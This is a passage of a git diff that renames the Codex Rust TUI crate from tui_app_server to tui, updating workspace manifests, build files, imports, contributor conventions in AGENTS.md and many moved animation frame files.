diff --git a/AGENTS.md b/AGENTS.md index c06cf174d..ff36b0e19 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -35,9 +35,9 @@ In the codex-rs folder where the rust code lives: - If a file exceeds roughly 800 LoC, add new functionality in a new module instead of extending the existing file unless there is a strong documented reason not to. - This rule applies especially to high-touch files that already attract unrelated changes, such - as `codex-rs/tui_app_server/src/app.rs`, `codex-rs/tui_app_server/src/bottom_pane/chat_composer.rs`, - `codex-rs/tui_app_server/src/bottom_pane/footer.rs`, `codex-rs/tui_app_server/src/chatwidget.rs`, - `codex-rs/tui_app_server/src/bottom_pane/mod.rs`, and similarly central orchestration modules. + as `codex-rs/tui/src/app.rs`, `codex-rs/tui/src/bottom_pane/chat_composer.rs`, + `codex-rs/tui/src/bottom_pane/footer.rs`, `codex-rs/tui/src/chatwidget.rs`, + `codex-rs/tui/src/bottom_pane/mod.rs`, and similarly central orchestration modules. - When extracting code from a large module, move the related tests and module/type docs toward the new implementation so the invariants stay close to the code that owns them. - When running Rust commands (e.g. `just fix` or `cargo test`) be patient with the command and never try to kill them using the PID. Rust lock can make the execution slow, this is expected. @@ -66,12 +66,10 @@ Likewise, when reviewing code, do not hesitate to push back on PRs that would un ## TUI style conventions -See `codex-rs/tui_app_server/styles.md`. +See `codex-rs/tui/styles.md`. ## TUI code conventions -- When a change lands in `codex-rs/tui` and `codex-rs/tui_app_server` has a parallel implementation of the same behavior, reflect the change in `codex-rs/tui_app_server` too unless there is a documented reason not to. - - Use concise styling helpers from ratatui’s Stylize trait. - Basic spans: use "text".into() - Styled spans: use "text".red(), "text".green(), "text".magenta(), "text".dim(), etc. diff --git a/codex-rs/Cargo.toml b/codex-rs/Cargo.toml index 2f4b952c5..d5a4baa4d 100644 --- a/codex-rs/Cargo.toml +++ b/codex-rs/Cargo.toml @@ -49,7 +49,7 @@ members = [ "sandboxing", "stdio-to-uds", "otel", - "tui_app_server", + "tui", "tools", "v8-poc", "utils/absolute-path", @@ -149,7 +149,7 @@ codex-state = { path = "state" } codex-stdio-to-uds = { path = "stdio-to-uds" } codex-terminal-detection = { path = "terminal-detection" } codex-tools = { path = "tools" } -codex-tui = { path = "tui_app_server" } +codex-tui = { path = "tui" } codex-v8-poc = { path = "v8-poc" } codex-utils-absolute-path = { path = "utils/absolute-path" } codex-utils-approval-presets = { path = "utils/approval-presets" } diff --git a/codex-rs/cli/src/main.rs b/codex-rs/cli/src/main.rs index f0a66c9b6..082965b3d 100644 --- a/codex-rs/cli/src/main.rs +++ b/codex-rs/cli/src/main.rs @@ -24,10 +24,10 @@ use codex_execpolicy::ExecPolicyCheckCommand; use codex_responses_api_proxy::Args as ResponsesApiProxyArgs; use codex_state::StateRuntime; use codex_state::state_db_path; -use codex_tui_app_server::AppExitInfo; -use codex_tui_app_server::Cli as TuiCli; -use codex_tui_app_server::ExitReason; -use codex_tui_app_server::update_action::UpdateAction; +use codex_tui::AppExitInfo; +use codex_tui::Cli as TuiCli; +use codex_tui::ExitReason; +use codex_tui::update_action::UpdateAction; use codex_utils_cli::CliConfigOverrides; use owo_colors::OwoColorize; use std::io::IsTerminal; @@ -1228,7 +1228,7 @@ async fn run_interactive_tui( let normalized_remote = remote .as_deref() - .map(codex_tui_app_server::normalize_remote_addr) + .map(codex_tui::normalize_remote_addr) .transpose() .map_err(std::io::Error::other)?; if remote_auth_token_env.is_some() && normalized_remote.is_none() { @@ -1241,7 +1241,7 @@ async fn run_interactive_tui( .map(read_remote_auth_token_from_env_var) .transpose() .map_err(std::io::Error::other)?; - codex_tui_app_server::run_main( + codex_tui::run_main( interactive, arg0_paths, codex_core::config_loader::LoaderOverrides::default(), diff --git a/codex-rs/cloud-tasks/src/lib.rs b/codex-rs/cloud-tasks/src/lib.rs index bc0abccf8..f11eca38f 100644 --- a/codex-rs/cloud-tasks/src/lib.rs +++ b/codex-rs/cloud-tasks/src/lib.rs @@ -931,7 +931,7 @@ pub async fn run_main(cli: Cli, _codex_linux_sandbox_exe: Option) -> an if page.composer.flush_paste_burst_if_due() { needs_redraw = true; } if page.composer.is_in_paste_burst() { let _ = frame_tx - .send(Instant::now() + codex_tui_app_server::ComposerInput::recommended_flush_delay()); + .send(Instant::now() + codex_tui::ComposerInput::recommended_flush_delay()); } } // Keep spinner pulsing only while loading. @@ -1492,7 +1492,7 @@ pub async fn run_main(cli: Cli, _codex_linux_sandbox_exe: Option) -> an _ => { if page.submitting { // Ignore input while submitting - } else if let codex_tui_app_server::ComposerAction::Submitted(text) = + } else if let codex_tui::ComposerAction::Submitted(text) = page.composer.input(key) { // Submit only if we have an env id @@ -1526,7 +1526,7 @@ pub async fn run_main(cli: Cli, _codex_linux_sandbox_exe: Option) -> an if page.composer.is_in_paste_burst() { let _ = frame_tx.send( Instant::now() - + codex_tui_app_server::ComposerInput::recommended_flush_delay(), + + codex_tui::ComposerInput::recommended_flush_delay(), ); } // Always schedule an immediate redraw for key edits in the composer. @@ -2136,8 +2136,8 @@ mod tests { use codex_cloud_tasks_client::TaskId; use codex_cloud_tasks_client::TaskStatus; use codex_cloud_tasks_client::TaskSummary; - use codex_tui_app_server::ComposerAction; - use codex_tui_app_server::ComposerInput; + use codex_tui::ComposerAction; + use codex_tui::ComposerInput; use crossterm::event::KeyCode; use crossterm::event::KeyEvent; use crossterm::event::KeyModifiers; diff --git a/codex-rs/cloud-tasks/src/new_task.rs b/codex-rs/cloud-tasks/src/new_task.rs index 3d0b0843b..8708bd62f 100644 --- a/codex-rs/cloud-tasks/src/new_task.rs +++ b/codex-rs/cloud-tasks/src/new_task.rs @@ -1,4 +1,4 @@ -use codex_tui_app_server::ComposerInput; +use codex_tui::ComposerInput; pub struct NewTaskPage { pub composer: ComposerInput, diff --git a/codex-rs/cloud-tasks/src/ui.rs b/codex-rs/cloud-tasks/src/ui.rs index bf67c6486..38f75e41a 100644 --- a/codex-rs/cloud-tasks/src/ui.rs +++ b/codex-rs/cloud-tasks/src/ui.rs @@ -23,7 +23,7 @@ use crate::app::AttemptView; use crate::util::format_relative_time_now; use codex_cloud_tasks_client::AttemptStatus; use codex_cloud_tasks_client::TaskStatus; -use codex_tui_app_server::render_markdown_text; +use codex_tui::render_markdown_text; pub fn draw(frame: &mut Frame, app: &mut App) { let area = frame.area(); diff --git a/codex-rs/tui_app_server/BUILD.bazel b/codex-rs/tui/BUILD.bazel similarity index 89% rename from codex-rs/tui_app_server/BUILD.bazel rename to codex-rs/tui/BUILD.bazel index 5093e4dd1..164c7d1fa 100644 --- a/codex-rs/tui_app_server/BUILD.bazel +++ b/codex-rs/tui/BUILD.bazel @@ -1,8 +1,8 @@ load("//:defs.bzl", "codex_rust_crate") codex_rust_crate( - name = "tui_app_server", - crate_name = "codex_tui_app_server", + name = "tui", + crate_name = "codex_tui", compile_data = glob( include = ["**"], exclude = [ diff --git a/codex-rs/tui_app_server/Cargo.toml b/codex-rs/tui/Cargo.toml similarity index 97% rename from codex-rs/tui_app_server/Cargo.toml rename to codex-rs/tui/Cargo.toml index 9e98cee6d..bc00682a4 100644 --- a/codex-rs/tui_app_server/Cargo.toml +++ b/codex-rs/tui/Cargo.toml @@ -6,19 +6,15 @@ license.workspace = true autobins = false [[bin]] -name = "codex-tui-app-server" +name = "codex-tui" path = "src/main.rs" [[bin]] -name = "codex-tui" -path = "src/bin/codex-tui.rs" - -[[bin]] -name = "md-events-app-server" +name = "md-events" path = "src/bin/md-events.rs" [lib] -name = "codex_tui_app_server" +name = "codex_tui" path = "src/lib.rs" [features] diff --git a/codex-rs/tui_app_server/frames/blocks/frame_1.txt b/codex-rs/tui/frames/blocks/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_1.txt rename to codex-rs/tui/frames/blocks/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_10.txt b/codex-rs/tui/frames/blocks/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_10.txt rename to codex-rs/tui/frames/blocks/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_11.txt b/codex-rs/tui/frames/blocks/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_11.txt rename to codex-rs/tui/frames/blocks/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_12.txt b/codex-rs/tui/frames/blocks/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_12.txt rename to codex-rs/tui/frames/blocks/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_13.txt b/codex-rs/tui/frames/blocks/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_13.txt rename to codex-rs/tui/frames/blocks/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_14.txt b/codex-rs/tui/frames/blocks/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_14.txt rename to codex-rs/tui/frames/blocks/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_15.txt b/codex-rs/tui/frames/blocks/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_15.txt rename to codex-rs/tui/frames/blocks/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_16.txt b/codex-rs/tui/frames/blocks/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_16.txt rename to codex-rs/tui/frames/blocks/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_17.txt b/codex-rs/tui/frames/blocks/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_17.txt rename to codex-rs/tui/frames/blocks/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_18.txt b/codex-rs/tui/frames/blocks/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_18.txt rename to codex-rs/tui/frames/blocks/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_19.txt b/codex-rs/tui/frames/blocks/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_19.txt rename to codex-rs/tui/frames/blocks/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_2.txt b/codex-rs/tui/frames/blocks/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_2.txt rename to codex-rs/tui/frames/blocks/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_20.txt b/codex-rs/tui/frames/blocks/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_20.txt rename to codex-rs/tui/frames/blocks/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_21.txt b/codex-rs/tui/frames/blocks/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_21.txt rename to codex-rs/tui/frames/blocks/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_22.txt b/codex-rs/tui/frames/blocks/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_22.txt rename to codex-rs/tui/frames/blocks/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_23.txt b/codex-rs/tui/frames/blocks/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_23.txt rename to codex-rs/tui/frames/blocks/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_24.txt b/codex-rs/tui/frames/blocks/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_24.txt rename to codex-rs/tui/frames/blocks/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_25.txt b/codex-rs/tui/frames/blocks/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_25.txt rename to codex-rs/tui/frames/blocks/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_26.txt b/codex-rs/tui/frames/blocks/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_26.txt rename to codex-rs/tui/frames/blocks/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_27.txt b/codex-rs/tui/frames/blocks/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_27.txt rename to codex-rs/tui/frames/blocks/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_28.txt b/codex-rs/tui/frames/blocks/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_28.txt rename to codex-rs/tui/frames/blocks/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_29.txt b/codex-rs/tui/frames/blocks/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_29.txt rename to codex-rs/tui/frames/blocks/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_3.txt b/codex-rs/tui/frames/blocks/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_3.txt rename to codex-rs/tui/frames/blocks/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_30.txt b/codex-rs/tui/frames/blocks/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_30.txt rename to codex-rs/tui/frames/blocks/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_31.txt b/codex-rs/tui/frames/blocks/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_31.txt rename to codex-rs/tui/frames/blocks/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_32.txt b/codex-rs/tui/frames/blocks/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_32.txt rename to codex-rs/tui/frames/blocks/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_33.txt b/codex-rs/tui/frames/blocks/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_33.txt rename to codex-rs/tui/frames/blocks/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_34.txt b/codex-rs/tui/frames/blocks/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_34.txt rename to codex-rs/tui/frames/blocks/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_35.txt b/codex-rs/tui/frames/blocks/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_35.txt rename to codex-rs/tui/frames/blocks/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_36.txt b/codex-rs/tui/frames/blocks/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_36.txt rename to codex-rs/tui/frames/blocks/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_4.txt b/codex-rs/tui/frames/blocks/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_4.txt rename to codex-rs/tui/frames/blocks/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_5.txt b/codex-rs/tui/frames/blocks/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_5.txt rename to codex-rs/tui/frames/blocks/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_6.txt b/codex-rs/tui/frames/blocks/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_6.txt rename to codex-rs/tui/frames/blocks/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_7.txt b/codex-rs/tui/frames/blocks/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_7.txt rename to codex-rs/tui/frames/blocks/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_8.txt b/codex-rs/tui/frames/blocks/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_8.txt rename to codex-rs/tui/frames/blocks/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_9.txt b/codex-rs/tui/frames/blocks/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_9.txt rename to codex-rs/tui/frames/blocks/frame_9.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_1.txt b/codex-rs/tui/frames/codex/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_1.txt rename to codex-rs/tui/frames/codex/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_10.txt b/codex-rs/tui/frames/codex/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_10.txt rename to codex-rs/tui/frames/codex/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_11.txt b/codex-rs/tui/frames/codex/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_11.txt rename to codex-rs/tui/frames/codex/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_12.txt b/codex-rs/tui/frames/codex/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_12.txt rename to codex-rs/tui/frames/codex/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_13.txt b/codex-rs/tui/frames/codex/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_13.txt rename to codex-rs/tui/frames/codex/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_14.txt b/codex-rs/tui/frames/codex/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_14.txt rename to codex-rs/tui/frames/codex/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_15.txt b/codex-rs/tui/frames/codex/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_15.txt rename to codex-rs/tui/frames/codex/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_16.txt b/codex-rs/tui/frames/codex/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_16.txt rename to codex-rs/tui/frames/codex/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_17.txt b/codex-rs/tui/frames/codex/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_17.txt rename to codex-rs/tui/frames/codex/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_18.txt b/codex-rs/tui/frames/codex/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_18.txt rename to codex-rs/tui/frames/codex/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_19.txt b/codex-rs/tui/frames/codex/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_19.txt rename to codex-rs/tui/frames/codex/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_2.txt b/codex-rs/tui/frames/codex/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_2.txt rename to codex-rs/tui/frames/codex/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_20.txt b/codex-rs/tui/frames/codex/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_20.txt rename to codex-rs/tui/frames/codex/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_21.txt b/codex-rs/tui/frames/codex/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_21.txt rename to codex-rs/tui/frames/codex/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_22.txt b/codex-rs/tui/frames/codex/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_22.txt rename to codex-rs/tui/frames/codex/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_23.txt b/codex-rs/tui/frames/codex/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_23.txt rename to codex-rs/tui/frames/codex/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_24.txt b/codex-rs/tui/frames/codex/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_24.txt rename to codex-rs/tui/frames/codex/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_25.txt b/codex-rs/tui/frames/codex/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_25.txt rename to codex-rs/tui/frames/codex/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_26.txt b/codex-rs/tui/frames/codex/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_26.txt rename to codex-rs/tui/frames/codex/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_27.txt b/codex-rs/tui/frames/codex/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_27.txt rename to codex-rs/tui/frames/codex/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_28.txt b/codex-rs/tui/frames/codex/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_28.txt rename to codex-rs/tui/frames/codex/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_29.txt b/codex-rs/tui/frames/codex/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_29.txt rename to codex-rs/tui/frames/codex/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_3.txt b/codex-rs/tui/frames/codex/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_3.txt rename to codex-rs/tui/frames/codex/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_30.txt b/codex-rs/tui/frames/codex/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_30.txt rename to codex-rs/tui/frames/codex/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_31.txt b/codex-rs/tui/frames/codex/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_31.txt rename to codex-rs/tui/frames/codex/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_32.txt b/codex-rs/tui/frames/codex/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_32.txt rename to codex-rs/tui/frames/codex/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_33.txt b/codex-rs/tui/frames/codex/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_33.txt rename to codex-rs/tui/frames/codex/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_34.txt b/codex-rs/tui/frames/codex/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_34.txt rename to codex-rs/tui/frames/codex/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_35.txt b/codex-rs/tui/frames/codex/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_35.txt rename to codex-rs/tui/frames/codex/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_36.txt b/codex-rs/tui/frames/codex/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_36.txt rename to codex-rs/tui/frames/codex/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_4.txt b/codex-rs/tui/frames/codex/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_4.txt rename to codex-rs/tui/frames/codex/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_5.txt b/codex-rs/tui/frames/codex/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_5.txt rename to codex-rs/tui/frames/codex/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_6.txt b/codex-rs/tui/frames/codex/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_6.txt rename to codex-rs/tui/frames/codex/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_7.txt b/codex-rs/tui/frames/codex/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_7.txt rename to codex-rs/tui/frames/codex/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_8.txt b/codex-rs/tui/frames/codex/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_8.txt rename to codex-rs/tui/frames/codex/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_9.txt b/codex-rs/tui/frames/codex/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_9.txt rename to codex-rs/tui/frames/codex/frame_9.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_1.txt b/codex-rs/tui/frames/default/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_1.txt rename to codex-rs/tui/frames/default/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_10.txt b/codex-rs/tui/frames/default/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_10.txt rename to codex-rs/tui/frames/default/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_11.txt b/codex-rs/tui/frames/default/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_11.txt rename to codex-rs/tui/frames/default/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_12.txt b/codex-rs/tui/frames/default/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_12.txt rename to codex-rs/tui/frames/default/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_13.txt b/codex-rs/tui/frames/default/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_13.txt rename to codex-rs/tui/frames/default/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_14.txt b/codex-rs/tui/frames/default/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_14.txt rename to codex-rs/tui/frames/default/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_15.txt b/codex-rs/tui/frames/default/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_15.txt rename to codex-rs/tui/frames/default/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_16.txt b/codex-rs/tui/frames/default/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_16.txt rename to codex-rs/tui/frames/default/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_17.txt b/codex-rs/tui/frames/default/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_17.txt rename to codex-rs/tui/frames/default/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_18.txt b/codex-rs/tui/frames/default/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_18.txt rename to codex-rs/tui/frames/default/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_19.txt b/codex-rs/tui/frames/default/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_19.txt rename to codex-rs/tui/frames/default/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_2.txt b/codex-rs/tui/frames/default/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_2.txt rename to codex-rs/tui/frames/default/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_20.txt b/codex-rs/tui/frames/default/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_20.txt rename to codex-rs/tui/frames/default/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_21.txt b/codex-rs/tui/frames/default/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_21.txt rename to codex-rs/tui/frames/default/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_22.txt b/codex-rs/tui/frames/default/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_22.txt rename to codex-rs/tui/frames/default/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_23.txt b/codex-rs/tui/frames/default/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_23.txt rename to codex-rs/tui/frames/default/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_24.txt b/codex-rs/tui/frames/default/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_24.txt rename to codex-rs/tui/frames/default/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_25.txt b/codex-rs/tui/frames/default/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_25.txt rename to codex-rs/tui/frames/default/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_26.txt b/codex-rs/tui/frames/default/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_26.txt rename to codex-rs/tui/frames/default/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_27.txt b/codex-rs/tui/frames/default/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_27.txt rename to codex-rs/tui/frames/default/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_28.txt b/codex-rs/tui/frames/default/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_28.txt rename to codex-rs/tui/frames/default/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_29.txt b/codex-rs/tui/frames/default/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_29.txt rename to codex-rs/tui/frames/default/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_3.txt b/codex-rs/tui/frames/default/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_3.txt rename to codex-rs/tui/frames/default/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_30.txt 